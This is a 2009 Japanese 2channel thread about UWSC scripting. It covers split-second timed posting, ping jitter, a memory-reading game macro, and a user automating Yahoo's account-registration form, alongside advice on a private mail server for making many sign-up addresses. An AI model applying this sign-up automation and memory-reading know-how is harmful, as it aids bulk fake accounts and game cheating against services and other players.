光回線ならもーちょっと安定するだろうし、そしたらあのままでも100分の1秒まで正確にやれるかも。
531名無しさん@お腹いっぱい。:2009/09/10(木) 00:26:02 ID:EY/yVP0fP
pingですら安定した通信は不可能なのに何言ってんの?
誤差を少しでも減らしたいならteratermでも使えよ
532名無しさん@お腹いっぱい。:2009/09/10(木) 17:39:21 ID:GPfW3J/O0
>光回線ならもーちょっと安定するだろうし
ここ笑うとこ?
533名無しさん@お腹いっぱい。:2009/09/11(金) 00:09:23 ID:QONu8T8VP
>>532
いや、実際俺より安定して狙い通りに投稿してる人の回線が光だそうで。
497 名前: (catv?)[] 投稿日:2009/09/09(水) 07:35:09.09 ID:DHHnwPci
532 名前: (catv?)[] 投稿日:2009/09/09(水) 07:50:09.09 ID:DHHnwPci
551 名前: (catv?)[] 投稿日:2009/09/09(水) 07:55:09.08 ID:DHHnwPci
576 名前: (catv?)[] 投稿日:2009/09/09(水) 08:00:09.10 ID:DHHnwPci
583 名前: (catv?)[] 投稿日:2009/09/09(水) 08:02:09.09 ID:DHHnwPci
596 名前: (catv?)[] 投稿日:2009/09/09(水) 08:05:09.08 ID:DHHnwPci
610 名前: (catv?)[] 投稿日:2009/09/09(水) 08:09:09.09 ID:DHHnwPci
626 名前: (catv?)[] 投稿日:2009/09/09(水) 08:12:09.09 ID:DHHnwPci
651 名前: (catv?)[] 投稿日:2009/09/09(水) 08:15:09.10 ID:DHHnwPci
695 名前: (catv?)[] 投稿日:2009/09/09(水) 08:19:09.09 ID:DHHnwPci
774 名前: (catv?)[] 投稿日:2009/09/09(水) 08:29:09.10 ID:DHHnwPci
818 名前: (catv?)[] 投稿日:2009/09/09(水) 08:32:09.09 ID:DHHnwPci
36 名前: (catv?)[] 投稿日:2009/09/09(水) 08:53:09.12 ID:DHHnwPci
42 名前: (catv?)[] 投稿日:2009/09/09(水) 08:55:09.14 ID:DHHnwPci
48 名前: (catv?)[] 投稿日:2009/09/09(水) 08:58:09.08 ID:DHHnwPci
50 名前: (catv?)[] 投稿日:2009/09/09(水) 09:00:09.09 ID:DHHnwPci
52 名前: (catv?)[] 投稿日:2009/09/09(水) 09:02:09.08 ID:DHHnwPci
54 名前: (catv?)[] 投稿日:2009/09/09(水) 09:04:09.08 ID:DHHnwPci
55 名前: (catv?)[] 投稿日:2009/09/09(水) 09:05:09.09 ID:DHHnwPci
57 名前: (catv?)[] 投稿日:2009/09/09(水) 09:07:09.08 ID:DHHnwPci
64 名前: (catv?)[] 投稿日:2009/09/09(水) 09:09:09.10 ID:DHHnwPci
80 名前: (catv?)[] 投稿日:2009/09/09(水) 09:12:46.33 ID:DHHnwPci
http://img.2ch.net/ico/anime_onigiri03.gif
   ∧_∧
⊂(#・ω・)  やってられるか!!
 /   ノ∪
 し―-J |l| |
         人ペシッ!!
       __
       \  \
519 名前:(水) 07:45:09.07 ID:SYGoZDF2
523 名前:(水) 07:47:09.06 ID:SYGoZDF2
539 名前:(水) 07:52:09.06 ID:SYGoZDF2
544 名前:(水) 07:53:09.06 ID:SYGoZDF2
546 名前:(水) 07:54:09.05 ID:SYGoZDF2
550 名前:(水) 07:55:09.10 ID:SYGoZDF2
556 名前:(水) 07:56:09.11 ID:SYGoZDF2
559 名前:(水) 07:57:09.11 ID:SYGoZDF2
564 名前:(水) 07:58:09.11 ID:SYGoZDF2
569 名前:(水) 07:59:09.10 ID:SYGoZDF2
580 名前:(水) 08:01:09.10 ID:SYGoZDF2
582 名前:(水) 08:02:09.10 ID:SYGoZDF2
595 名前:(水) 08:05:09.11 ID:SYGoZDF2
600 名前:(水) 08:06:09.10 ID:SYGoZDF2
604 名前:(水) 08:07:09.10 ID:SYGoZDF2
607 名前:(水) 08:08:09.10 ID:SYGoZDF2
614 名前:(水) 08:10:09.08 ID:SYGoZDF2
618 名前:(水) 08:11:09.10 ID:SYGoZDF2
625 名前:(水) 08:12:09.09 ID:SYGoZDF2
634 名前:(水) 08:13:09.10 ID:SYGoZDF2
671 名前:(水) 08:17:09.11 ID:SYGoZDF2
694 名前:(水) 08:19:09.11 ID:SYGoZDF2
702 名前:(水) 08:21:09.11 ID:SYGoZDF2
709 名前:(水) 08:22:09.11 ID:SYGoZDF2
733 名前:(水) 08:25:09.11 ID:SYGoZDF2
744 名前:(水) 08:26:09.11 ID:SYGoZDF2
758 名前:(水) 08:27:09.09 ID:SYGoZDF2
762 名前:(水) 08:28:09.11 ID:SYGoZDF2
786 名前:(水) 08:30:09.07 ID:SYGoZDF2
803 名前:(水) 08:31:09.10 ID:SYGoZDF2
817 名前:(水) 08:32:09.07 ID:SYGoZDF2
836 名前:(水) 08:33:09.07 ID:SYGoZDF2
535名無しさん@お腹いっぱい。:2009/09/11(金) 07:32:40 ID:51Za3rGdO
ホップ数が少ない回線という主張なら理解できるが
どうして光回線ならより安定との結論が導かれるんだ?

論理的におかしいだろ
536名無しさん@お腹いっぱい。:2009/09/11(金) 12:17:04 ID:SAx+c6nq0
広帯域=反応が早い
こんな風に勘違いしてる人って多いよね。

道路に例えれば道幅が広いだけで決して車の速度が速いわけではないのに。
537名無しさん@お腹いっぱい。:2009/09/11(金) 18:37:40 ID:2T7N4nOi0
メモリーの値をとりだすのはどうすればいいですか?
memory.dllとDEF_DLLを使うのはわかったのですが、そのあとがわかりません。
例えば00456789のメモリの値が50以下になったら・・・っていうのはどう作ればいいのでしょうか?
538名無しさん@お腹いっぱい。:2009/09/11(金) 19:06:58 ID:Bpd1Ez2d0
memory.dllとDEF_DLLが分かってるのにどうしてメモリの読み方が分からないんだ?
memory.dlにはご丁寧にサンプルも付いてるんだし
1度くらい付属のドキュメントでも読んでみるといいよ
539名無しさん@お腹いっぱい。:2009/09/11(金) 19:54:47 ID:2T7N4nOi0
>>538
検索とかしてみたのですが、よくわかりませんでした

ちなみにこんな感じです。
DEF_DLL ReadMemory(hwnd,DWORD,DWORD,DWORD):int:Memory.dll
public pname="クライアントの名前"  //クライアントを指定
public adr = $00456789
public rdata = 0
public size=4
ReadMemory(pname,adr,rdata,size)
ifb rdata<50 then
KBD(VK_4,down,100)
KBD(VK_4,up,100)
else
endif

クライアントの指定の部分で間違ってる気がします。
もしくは一行目からすでにまちがえますか?
540名無しさん@お腹いっぱい。:2009/09/11(金) 20:21:18 ID:Bpd1Ez2d0
DEF_DLL ReadMemory(string,DWORD,var DWORD,DWORD):int:Memory.dll
じゃないかな?
541名無しさん@お腹いっぱい。:2009/09/11(金) 21:12:08 ID:2T7N4nOi0
>>540
ありがとうございます!
無事に出来ました
542528:2009/09/11(金) 22:29:51 ID:piWYqlZ70
>>535
光回線に雑音なし。
ADSLは雑音だらけ。
雑音の影響でパケット修復や再送信が発生しまくり。
(いや、うちは今安定してるけど、最近まで雑音が38dBとかだった)

通信自体は雑音が入っても再送信されるので安定して通信できるとしても、
回線で再送信が発生していればそれだけ時間が変動してきますよね。

>>533-534の結果を見ると、回線の種類よりも実行環境の方が影響してそうだけど。
Windows7って10秒に1回くらい重い処理が入るしな。
543名無しさん@お腹いっぱい。:2009/09/12(土) 00:32:11 ID:QAaS2IK0O
クライアントPCからプロバイダまでが君のすべてなんだね
でも現実には違うんだよ

君が誤差とか雑音とか言ってる9割以上はその先の世界の影響なの
君が1割の世界を自在にコントロールしても無駄なの分かる?
544528:2009/09/12(土) 04:12:18 ID:lXIELoI/P
>>543
9割は大げさだよ。
そりゃー確かに負荷のかかってるサーバーのスループットは時間かかるよ。
でも、2ちゃんねるの投稿時間っていうのは、最初に投稿文を投げて受け付けられた時刻になるのであって、
投稿処理完了までにかかる時間は含まれてない。
だからクライアント側が簡単なスクリプトでも割と安定した投稿時刻になってるわけだし、
だからほぼ同時に投稿されたレスは書き込み時刻とレス番が入れ替わっていたりするんだ。
それに、クライアントがすげー重くてマウスもカチコチになってる状態では
パケットを回線に乗せるだけでもソートーな時間がかかるわけで、
いくらでも時間を延ばそうと思えば延びるもんだ。

※今ゼロの使い魔見てるけどやっぱあの主役の声はいいよなあ。
545名無しさん@お腹いっぱい。:2009/09/12(土) 04:19:57 ID:zkkco6a50
日野聡ね?
546名無しさん@お腹いっぱい。:2009/09/12(土) 07:56:58 ID:lXIELoI/P
釘宮理恵だよ
顔はアレだし普段の声もアレだけど、ツンデレ少女やらせたら天下一品。
ttp://www.youtube.com/watch?v=EQzf1IccUNY
547名無しさん@お腹いっぱい。:2009/09/12(土) 08:41:54 ID:0prcRox+0
ID:lXIELoI/P
お前はもう来なくていい
いつまでオナニーし続けるのかと思ったら今度は唐突に完全スレチなアニメ話か
548名無しさん@お腹いっぱい。:2009/09/12(土) 13:04:39 ID:k/iIqcLX0
あの主役の声とか言わずに、くぎゅうううううううううううとか言っとけよ
549名無しさん@お腹いっぱい。:2009/09/12(土) 16:05:38 ID:qs3nJzg80
よくわからん展開だけど
2ゲットツールの話しってことだよね

>>528
うちOCNの光プレミア^^
いつでもモニターしますよw
自分的には興味あるし>>528応援したい
550名無しさん@お腹いっぱい。:2009/09/12(土) 19:55:38 ID:GXu8R6Sh0
なにをいっているんだ
551名無しさん@お腹いっぱい。:2009/09/13(日) 00:42:37 ID:7fYs5gKs0
はははは、なんだこのスレ進行はw
552名無しさん@お腹いっぱい。:2009/09/14(月) 13:48:18 ID:0YMUf7PV0
WEBサイトの書き込みたいページの窓名はどうやって取得すればいいですか?
書き込む箇所がたくさんあるんですよ
例えばこんな感じです
https://account.edit.yahoo.co.jp/registration?.done=http%3A//www.yahoo.co.jp/&.src=www
上記はヤフーの新規登録です
このページでいえば上から希望IDの欄
パスワード入力
念のためのパスワード入力
以下個人情報記入欄と続きます
この例で言うと窓名はどうなっていますか?
その窓名はどうやって知るのでしょうか?
窓名の取得方法教えてください
お願いします
553名無しさん@お腹いっぱい。:2009/09/14(月) 14:54:35 ID:cEOV6N9A0
そのページのソース見れば書いてある
554名無しさん@お腹いっぱい。:2009/09/14(月) 20:26:42 ID:qig3ZFIo0
窓名っていうかテキストボックスのIDですよね。
ユーザー登録なら番号指定するSetTextかなんかでAAC指定が簡単ですよ。
ページレイアウトが変わるとそのつど対応しないといけませんが、
IDが変更されない保障もないから同じことです。
問題はどうやってその番号と項目種別を整理するかだけですが、連想配列使うと簡単です。

チェックボックスについてはClkItem()で表示文字指定でいけるし。
ただ、パスワードはKBD()関数で1字ずつしか入力できない場合が結構ある。
あと、Yahooの新しいページは直で自動操縦できない問題があったと思う。

窓操作するときのIDが必要なのかな?
IEオブジェクトを作っているならこれでID取れます。
ID = HndToID(IE.hWnd)
555名無しさん@お腹いっぱい。:2009/09/14(月) 21:00:56 ID:P2xJX7yR0
たとえ話にしても言ってること聞いたらまともに相手しちゃいけないやつって分かるだろ…
556名無しさん@お腹いっぱい。:2009/09/14(月) 21:34:30 ID:cmD5tDUfP
大量アカウント入手する以外に使い道ねーなw
uwscの評判ガタ落ち
557552:2009/09/15(火) 04:57:03 ID:ivadcF/W0
ども^^
>>553
ソース見てもわかりませんorz
>>554
ありがとです
uwsc関係のサイトを見て下記のようにしたんだけどプリントされたのは1文字だけ。数字の1でした
IE = CreateOLEObj("InternetExplorer.Application")
IE.Visible = True
IE.Navigate("https://account.edit.yahoo.co.jp/registration?.done=http%3A//www.yahoo.co.jp/&.src=www")
REPEAT
SLEEP(0.1)
UNTIL !IE.BUSY AND IE.READYSTATE = 4
SLEEP(0.4)
ID = HndToID(IE.hWnd)
print id
SLEEP(10.0)

IEで書き込む方法教えてください
ヘルプ見てもわかりません><
558554:2009/09/15(火) 06:04:35 ID:LY1YTKOq0
>>557
なんだ初心者か

IDは使うものですよ
print Status(ID, ST_TITLE)

最初はヘルプ見るよりもぐぐったほうがいいよ。
UWSCをキーワードに含めるか、UWSC特有の関数名入れたら絞り込めるし。

ちなみに僕はgooのメール登録自動化するやつ作ったけど、
画像の文字を読み取るアクセスコード入力は自動化出来ないから
どの道複数まとめて処理するようなのは作るだけ無駄なんだよね。

メアドを自動的に大量に作るなら、自前のメールサーバー作った方が簡単だよ。
受信するだけのメールサーバーは無料でも配布されてる。
IPアドレスが固定でなくても無料のDDNS使えるし。
たいていのユーザー登録ではメールを1件受信するだけだし、それで十分。

メールアドレスたくさん作っても別に金が入るわけじゃない。
ユーザー登録でプレゼントとかゆっても、あれは客を釣って売りつける名簿を作るためであって、
最初からプレゼントなんかしてなかったりする。
そんなもんにかまけるのは時間の無駄だよ。
559名無しさん@お腹いっぱい。:2009/09/15(火) 07:40:17 ID:ivadcF/W0
>>554さんレスありがとです
例のページにアクセスしてから下記のようにしてみました
ID = HndToID(IE.hWnd)
print Status(ID,1, ST_TITLE)
print Status(ID,2, ST_TITLE)
print Status(ID,3, ST_TITLE)
print Status(ID,4, ST_TITLE)
print Status(ID,5, ST_TITLE)
するとプリント窓に下記の様にでました
117、2、800、570、121
書き込むには下記のようにすればいいのかとやってみました
IESetData(IE,117,"希望のIDを半角入力")
IESetData(IE,2,"半角でpassワード")
IESetData(IE,800,"passワード再入力")
IESetData(IE,570,"表示名")
IESetData(IE,121,"半角で郵便番号")
結果は書き込めませんでしたorz
お忙しい中、レス本当にありがとうございます
今日は今からスグにでかけますので帰宅したらまた試してみます
PS:メアド大量取得が目的じゃないけどDDNSはちょっと関係あります
あなた勘がいいですね!驚いたですよ^^;
本日「家サーバー」という無料のDDNSに登録してみました
ちなみにnslookupで調べたヤフーのmailサーバーには
登録後にtelnetでオープンしようと試してみましたがダメでした
今ここで教えてもらってるのは空きIDがあるか調べたいんです
最短文字数4文字となってますが実際には6文字じゃないかと聞いたので
4文字IDはもう無いのか気になったんですよ。実に馬鹿げてますよねw
でもこういうのって勉強になりそうな気がしてるので頑張ってみます
ありがとうでした^^
560名無しさん@お腹いっぱい。:2009/09/17(木) 00:34:08 ID:c/fKihuM0
>>552です
中間報告です^^;
>>553さん
マジで大ヒントありがとうです!!!
窓の名前取得はわからないままなんですけど
ソース見てname="yahooid" id="yid-ft"というのが怪しいのじゃないかと思い
下記のようにしてみたら見事書けました!
ほんとに本当にありがとうです!
-------------------------
IE = CreateOLEObj("InternetExplorer.Application")
IE.Visible = True
IE.Navigate("https://account.edit.yahoo.co.jp/registration?.done=http%3A//www.yahoo.co.jp/&.src=www")
REPEAT
SLEEP(0.1)
UNTIL !IE.BUSY AND IE.READYSTATE = 4
SLEEP(1.0)

IESetData(IE,"testes2geter","yahooid") // TEXT
//KBD (VK_RETURN)
SLEEP(10.0)
------------------------
これをヒントにソース内でname=を検索してみたら
ありましたありましたwww
まだやってないけど
これで全部書き込み出来そうな気がしてきた^^
ありがとう>>553さん
マジ感謝してます!
561名無しさん@お腹いっぱい。:2009/09/17(木) 01:30:02 ID:c/fKihuM0
やった!やった!
>>552です
>>553さん
ラジヲボタン、セレクトボタンとかまだわかんないですけど
取りあえずテキストBOXには全部書き込めるようになりました!
超嬉しいです^^
大前進ですよ
ありがとう>>553さん!
亀レスですけど心からお礼申し上げますm( _ _ )m
562名無しさん@お腹いっぱい。:2009/09/22(火) 09:17:31 ID:ab55ehQx0
>>529みたいにJaneをコントロール・・ていうか、投稿の制御をUWSCでしたりしてるんだけど、
Janeにスクリプト機能がついたから、UWSCで頑張るより楽に出来るかもしれない。
スクリプトは他のビューワには多分ないから、Janeを制御する場合は
UWSCで頑張るよりJane Viewを使った方が楽かも。

実際どんなスクリプトが作れるのかはしらね。

Jane View Version UPキター 目玉はスクリプト機能搭載
ttp://tsushima.2ch.net/test/read.cgi/news/1253536648/
563名無しさん@お腹いっぱい。:2009/09/22(火) 09:50:53 ID:AAcMg2An0
質問いいですか
UWSCは格闘ゲームのマクロ作成に向いてますか?
ゲームは1秒当たり60フレームで進行するので、16.666ms(1フレーム)の入力精度が必要です
564名無しさん@お腹いっぱい。:2009/09/22(火) 10:19:06 ID:ab55ehQx0
>>563
僕のPenM1.7GHzパソコンでは、クリックの精度は23msくらいだったよ。
実際どこまで精度が上がるかは分からないけど、精密にクリックしたかったら
CPUコア1つが90%の空きと、
ゲームが動いてるコアのCPU使用率が70%以下じゃないと難しいんじゃないかな。

相手の動きを感知するのが実際無理だと思うけど、どうやって処理するつもり?
単純に必殺技やハメ技をボタン一発でやるんならそんな精度いらないと思うんだけど。
565名無しさん@お腹いっぱい。:2009/09/22(火) 10:58:37 ID:AAcMg2An0
>>564
レスありがとうございます
そんなに処理能力がいるんですか
考えが甘かったようです
専用ハード買うか、作る方向で検討してみようと思います

> 相手の動きを感知するのが実際無理だと思うけど、どうやって処理するつもり?
決まった動きを繰り返すマクロで練習するつもりです
対戦では使いません
566名無しさん@お腹いっぱい。:2009/09/22(火) 12:45:47 ID:qC8zwhig0
対戦で使わんなら別に数十msぐらい遅延しても問題なくね
567名無しさん@お腹いっぱい。:2009/09/22(火) 15:54:46 ID:PezqNhcY0
正確に1フレーム辺りの精度にせんでも、格闘ゲームのボタンって待ち時間があるだろ。
技を繋ぐ時に0.1秒くらいのタイミングでボタン押してれば戻り動作がキャンセルされるという感じで。

ボタンの受付待ち時間が全くないゲームは糞ゲーだぜ。
568名無しさん@お腹いっぱい。:2009/09/22(火) 21:41:42 ID:wus9Xr/I0
>>529
これどうやんの?

uwscをダウンロードした
メモ帳にそのまま写して.UWSにした

教えてください
569名無しさん@お腹いっぱい。:2009/09/22(火) 22:34:49 ID:nxVea3tG0
あぁっと
>>529
自分も教えてほしいです
570名無しさん@お腹いっぱい。:2009/09/22(火) 22:59:32 ID:2rNOwggP0
571528:2009/09/22(火) 23:28:04 ID:VsIAyX0MP
>>568-569
□まずWindowsの操作の基本から
Windowsは標準でマウスとキーボードの操作がありますが、フォーカス移動はTABキーで、ボタンのクリックはスペースキーでできます。
マウスでクリックすればその瞬間にフォーカスがマウスポインタの場所に移動し、ボタンがクリックされます。

□UWSCを使ってどう実現するか
指定の時刻に投稿したいわけですが、最小限のコーディングで済む方法は、上記の基本操作を使って、時間が来たらスペースキーをクリックする方法です。
エンターキーでも投稿できますが、もし違う画面で発動したら何が起きるか分からないので、被害の少ないスペースキーを使います。

フォーカスを「書き込み」ボタンに移動するために、テキストボックスをクリックして、「書き込み」ボタンにフォーカスが移るまでTABキーをクリックします。
マウスでフォーカスを移動する場合、ボタンをクリックするとその瞬間にクリックされてしまいますが、
マウスボタンを押し下げたままほかのところへドラッグすると、フォーカスだけがそこに残ります。

□UWSCスクリプトの使い方
テキストエディタでてきとーな名前をつけて保存します。拡張子は .uws です。
ファイルの関連付けをしていればファイルをエクスプローラーからダブルクリックで起動すればいいし、
関連付けしてなくてもUWSCを起動してそのスクリプトを読み込んで、開始ボタンをクリックで開始します。

>>529使用にあたって気をつけること
起動して1分以内に1回クリックしたら終了します。
起動するタイミングによっては、準備が整う前にクリックして終了するかもしれません。
初めて使う人は、スクリプトの最初の方、カウントダウンするループを20くらいに書き換えた方がいいでしょう。
これを     for i = 5 to 1 step -1; fukidasi(i); sleep(1); next
こんな風に  for i = 20 to 1 step -1; fukidasi(i); sleep(1); next
さらに、日付と時刻のアナログ時計を表示して、あとどれくらいでクリックされるのかを常に表示させておくといいでしょう。
572名無しさん@お腹いっぱい。:2009/09/22(火) 23:44:21 ID:wus9Xr/I0
>>571
おぉできたwありがと
573名無しさん@お腹いっぱい。:2009/09/22(火) 23:44:41 ID:VsIAyX0MP
>>529の使い方
正確な投稿のために、Jane等を用意します。ブラウザでも使用可能です。

投稿時刻を調整するスクリプトなので、パソコンの時計を正確に合わせておきます。
インターネット時刻サーバーで自動調整にしておきましょう。

投稿時刻は Second = 09 で定義してあります。
投稿時刻が9秒になるように、早めにクリックされます。

通信環境等によっては微妙な調整が必要になると思います。
その場合は下記2行の585を適当な数字に書き換えてください。
> Repeat; t = GetTime(); Until G_TIME_ZZ < 585
> Repeat; t = GetTime(); Until 585 <= G_TIME_ZZ

【手順】
0.このスクリプトを使うときは、日付と時刻の調整窓のアナログ時計を表示させておいた方がいいでしょう。
1.Janeなどで、投稿するテキストを入力し、フォーカスを「書き込み」ボタンに移動します。
2.>>529のスクリプトを起動します。
3.Janeもしくはブラウザのタイトルバーをクリックしてアクティブにします。
  Janeの場合は投稿窓をクリックして「書き込み」ボタンが表示されるようにします。
  ウィンドウの枠だけをクリックしてもフォーカスは移動しません。
  もし他の部分をクリックしてフォーカスが移動した場合は、もう一度フォーカスを「書き込み」ボタンに移動します。
  Alt+TABで戻った方が確実かもしれません。
4.その状態でカウントダウンが終わり、さらに時間が来ると投稿されるので、そのままで待ちます。
5.時間が来るとスペースキーがクリックされ、スクリプトは終了します。
574名無しさん@お腹いっぱい。:2009/09/23(水) 03:09:33 ID:39u478qO0
インターネットを理解していないこの馬鹿は何者?
しかも自作自演で質問・回答とか頭おかしいだろ

書き込みボタン押下でどうやってパケットのルーティングまで制御する気だよw
575名無しさん@お腹いっぱい。:2009/09/23(水) 04:08:46 ID:IbHZjMsfP
>>574
なんなの?この釣り
聞かれたから答えただけだよ。

2ちゃんねるへの書き込みでなんでパケットとかルーティングとか関係あるんだよ。
576名無しさん@お腹いっぱい。:2009/09/23(水) 09:41:02 ID:IYhj49D60
正確な投票にはそういうのが必要だからじゃないの
超簡単なスクリプトを長々と説明してるもんなんだからうぜえとでも思ったんだろ
577名無しさん@お腹いっぱい。:2009/09/23(水) 11:07:08 ID:IbHZjMsfP
>>529の最初に
>出来るだけ正確に投稿するにはどうしたらいいかと考えて、
>JaneDoeViewの「書き込み」ボタンをクリックすることにした。
>以下即席スクリプト
ソースの最後では
>kbd(VK_SPACE, UP)
って書いてあっても分かんないみたいだから、「どこが分からないの?」とかいちいちやり取りする良り
一から十まで丁寧に書けば1レスで済むとおもったんだよ。
結局長くなって2レスになったけど。

なのにいちいちあおりを入れる奴がいるから無駄にレスを消費してしまうんだよな。

それより栗ご飯はやっぱり炊飯器で炊いた方がいいかもな。
高圧鍋だとやわらかいけど・・・水が多かったのかやわらかすぎて栗の歯ごたえがなくなってる。
いや、栗だけなら高圧でもほくほくなんだよな。
水がやっぱり多すぎなのかなあ?
578名無しさん@お腹いっぱい。:2009/09/23(水) 11:48:36 ID:39u478qO0
>>575
正気で言ってる?
パケットはインターネットのどこを通って相手サーバーに辿り着くか保証しない
ping,tracert打てば分かるけど到達時間のゆらぎはここの影響が一番大きくて
光回線だろうと専用回線だろうと正確に書き込むなんてスクリプトの創意工夫じゃ無理な話
579名無しさん@お腹いっぱい。:2009/09/23(水) 11:50:59 ID:xgMteTKH0
出来るだけ正確にってことでいいじゃないですか
580名無しさん@お腹いっぱい。:2009/09/23(水) 13:33:41 ID:IbHZjMsfP
>>578
まさかその話を蒸し返すとは思わなかったよ。
ほとんどの板では最小単位は秒なので、多少の揺らぎがあってもきっちりあわせることは可能ですよ。
だって、いくら揺らぎがあっても最速より早くなることはないわけで、
そうすると遅れが1秒近くまで許容されるわけです。
pingで100msを超えることなんて、海外鯖じゃないかぎりあまりないことでしょ。
150msくらいなら国内でもありえなくはないけど。
通信が安定してない無線環境は論外ってことで。

あと、ルートがころころ変わるみたいに言ってるけど、基本的にトラフィック分散を意図的にでもしてない限りは同じルート通るでしょうに。
そもそも鯖の時計が正確かどうかも分からないんだから、期待通りの時刻になるかどうかは何度か書き込んでチェックしておくのは前提ですよ。

そんでもって、現実にほぼ100分の2秒プラスするくらいの誤差に収まっているんだから、揺らぎの影響をいくら説いたところで無駄です。
1000分の1秒の正確さを要求するとしても、Windowsがそんな正確に時間を刻むことが出来ないのに通信がそれ以上正確に出来るわけもないんですよ。
最近のWindowsは1000分の1秒まで正確に刻めるんだっけ?知らないけど。

>>579
ですよねえ
原爆の爆縮レンズじゃないんだからそこまで正確である必要はないのに。
581名無しさん@お腹いっぱい。:2009/09/23(水) 14:04:12 ID:IYhj49D60
時間刻んでるのはマザーボードじゃね
582名無しさん@お腹いっぱい。:2009/09/23(水) 17:51:15 ID:7k3kCu8k0
まあ一言で言えば、長文ウザイ、ってことだな
583名無しさん@お腹いっぱい。:2009/09/23(水) 18:32:42 ID:39u478qO0
なんでこう延々と想像だけで話を進めるのかねぇ。ちっとも確認する努力をしない。
いつから2chは日本に移転したんだかww

御託を並べるのはいいからコマンドプロンプトでこれ打ち込め(Ctrl+Cで停止)
ping -t pc12.2ch.net

んで出力される数字がルーティングは一定ではない証拠になっている
これの意味分かるか?意味が分からないというなら解説してやるよw

pc12.2ch.net [207.29.225.90]に ping を送信しています 32 バイトのデータ:
207.29.225.90 からの応答: バイト数 =32 時間 =139ms TTL=50
207.29.225.90 からの応答: バイト数 =32 時間 =131ms TTL=51
207.29.225.90 からの応答: バイト数 =32 時間 =119ms TTL=51
207.29.225.90 からの応答: バイト数 =32 時間 =134ms TTL=50
207.29.225.90 からの応答: バイト数 =32 時間 =120ms TTL=51
207.29.225.90 からの応答: バイト数 =32 時間 =127ms TTL=50
207.29.225.90 からの応答: バイト数 =32 時間 =136ms TTL=50
207.29.225.90 からの応答: バイト数 =32 時間 =120ms TTL=51
207.29.225.90 からの応答: バイト数 =32 時間 =135ms TTL=50
584名無しさん@お腹いっぱい。:2009/09/23(水) 19:42:45 ID:IYhj49D60
ちょっとそれは不安定すぎ
俺のだと134msTTL52、135msTTL52を行ったり来たりするくらいでほぼ一定
つまり通信環境が安定してればルーティングなんて計っても計らんでも同じだぞ
まあどっちにしろ100%なんてないだろうがw
585名無しさん@お腹いっぱい。:2009/09/23(水) 23:38:33 ID:1bHA/wNB0
>>581
Reply from 207.29.225.90: bytes=32 time=151ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=146ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=148ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=149ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=153ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=149ms TTL=45
Reply from 207.29.225.90: bytes=32 time=148ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
Reply from 207.29.225.90: bytes=32 time=147ms TTL=45
586585:2009/09/24(木) 00:12:31 ID:hVVrxn3L0
>>583
pingの応答時間のばらつきがルーティングが一定でない証拠になるのなら、
逆説的に、一定であれば同じルートを通ってることになるわけだ?

俺の場合はたまたま146msがあったけど、基本的に147msで安定
5回に1回くらいの頻度で1ms以上遅れるブレがあり、>585のリストでは最大153ms
つまり、最大でも6msしか遅れないわけだ。

そしてこのばらつきは同じルートを通っていることを示すものだ。
トラフィックによる遅れがあり、それが往復で6msということだ。

そもそも、同じルートを通っても時間にばらつきが出るのはネットワークの基礎だ。
ルートを保障しないというのはルートを変更できるということであって、どこを通っても到達可能という意味ではない。
君の家、君の会社の出口はたくさんあるのか?
複数の出口を使ったためにホームページが機能しなくなった淀橋。comのような例もあるが、基本的に出口は一箇所だろう。
僕は拠点を数箇所持っている会社で、会社の出口までのpingを見ていたが、専用線とは言え細い帯域を使っていたため
>>585程度のばらつきは発生していた。
他にルートがないのは、俺がこの目でそれぞれの装置の設置とケーブルの接続を確認していたんだから間違いないんだ。


・・・そういえば複数の回線を束ねる方法があったっけね。
でも、基本的に同じ仕様の回線を使って同じ相手への接続をするだろう。
複数の相手にランダムに送りつけるなんてありえないね。
587名無しさん@お腹いっぱい。:2009/09/24(木) 13:14:20 ID:LnjpJUXE0
いくらなんでも583はブレすぎw
588名無しさん@お腹いっぱい。:2009/09/24(木) 15:45:37 ID:WyG49l9r0
>>587
シーっ
自分で気づいたとき
顔まっかっかにになるおw
589名無しさん@お腹いっぱい。:2009/09/26(土) 12:45:09 ID:i6V0HPzG0
サブに使ってるノートパソコンを買い換えたんだけど
OSは Windows Vist HB です
今までXPで作ったuwsファイルが動かないんだよね
それでvist HB にて カメラモードで記録して再生してみたけど
動かないorz
どうなってんだかさっぱりわかりません
VistでUWSCを使えないでしょうか?
自分にとってUWSCは物凄く大切なツールなので
最悪の時はOSの入れ替えしてでも使っていきたいです
どなたかわかる方おられましたらお願いいたします
590名無しさん@お腹いっぱい。:2009/09/26(土) 12:54:56 ID:pa8lBq8j0
>>589
VISTAなら管理者権限で動かせば動く
なお、SP1とか入ってないと動かない

ショートカットの上で右クリック
項目に管理者として実行(A)
591名無しさん@お腹いっぱい。:2009/09/26(土) 13:06:04 ID:i6V0HPzG0
>>590さん
早速のレスありがとうです^^
一応SP1のようです
管理者権限ってのがよくわからないんですけど
教えてもらったとおりにやってみます
1時間くらい後になるかもしれませんが
後ほど報告します
592名無しさん@お腹いっぱい。:2009/09/26(土) 13:53:25 ID:i6V0HPzG0
>>590さん
できました!
ショートカットの上で右クリック
管理者権限で実行
